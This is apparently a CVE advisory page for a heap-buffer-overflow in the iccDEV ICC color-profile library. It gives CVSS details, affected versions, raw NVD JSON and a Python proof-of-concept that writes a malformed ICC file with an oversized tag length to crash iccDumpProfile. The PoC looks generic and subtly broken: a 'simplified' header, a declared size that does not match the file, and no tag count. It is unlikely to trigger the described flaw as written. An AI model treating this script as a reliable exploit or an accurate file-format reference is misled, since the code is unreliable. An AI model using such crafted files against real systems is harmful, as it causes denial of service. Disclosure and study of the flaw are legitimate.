Security Vulnerability Report
中文
CVE-2026-34534 CVSS 6.2 MEDIUM

CVE-2026-34534

Published: 2026-03-31 22:16:21
Last Modified: 2026-04-20 13:41:02

Description

iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted ICC profile can trigger a heap-buffer-overflow (HBO) in CIccMpeSpectralMatrix::Describe(). The issue is observable under AddressSanitizer as an out-of-bounds heap read when running iccDumpProfile on a malicious profile. This issue has been patched in version 2.3.1.6.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import struct # Proof of Concept for CVE-2026-34534 # This script generates a malformed ICC profile designed to trigger # the heap-buffer-overflow in CIccMpeSpectralMatrix::Describe(). def create_malicious_icc(filename): # ICC profile header (simplified for PoC) # Valid header size is usually 128 bytes header = b'\x00' * 128 # Set profile size (arbitrary large value) # Overwriting the first 4 bytes with size size = struct.pack('>I', 1024) header = size + header[4:] # Set CMM type signature header = header[:4] + b'test' + header[8:] # Set profile version (2.3.1.6 is patched, target older) header = header[:8] + b'\x02\x30\x00\x00' + header[12:] # Create a tag table entry that targets the vulnerable class logic # This simulates a SpectralMatrix tag with malformed data length tag_signature = b'mtrX' tag_offset = struct.pack('>I', 128) # Offset after header tag_size = struct.pack('>I', 0xFFFFFFFF) # Malicious large size to trigger overflow tag_table = tag_signature + tag_offset + tag_size # Write to file with open(filename, 'wb') as f: f.write(header) f.write(tag_table) # Write padding data that Describe() might read out-of-bounds f.write(b'A' * 500) print(f"[+] Malformed ICC profile generated at: {filename}") def trigger_exploit(filename): print(f"[*] Attempting to trigger vulnerability using {filename}...") # In a real scenario, this would call the vulnerable iccDumpProfile binary # os.system(f"iccDumpProfile {filename}") print("[!] Run 'iccDumpProfile {}' on a vulnerable version to confirm.".format(filename)) if __name__ == "__main__": output_file = "cve_2026_34534_poc.icc" create_malicious_icc(output_file) trigger_exploit(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34534", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:20.803", "lastModified": "2026-04-20T13:41:01.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted ICC profile can trigger a heap-buffer-overflow (HBO) in CIccMpeSpectralMatrix::Describe(). The issue is observable under AddressSanitizer as an out-of-bounds heap read when running iccDumpProfile on a malicious profile. This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, un perfil ICC manipulado puede desencadenar un desbordamiento de búfer de pila (HBO) en CIccMpeSpectralMatrix::Describe(). El problema es observable bajo AddressSanitizer como una lectura de pila fuera de límites al ejecutar iccDumpProfile en un perfil malicioso. Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/665", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/682", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-7x9w-g476-wcc2", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}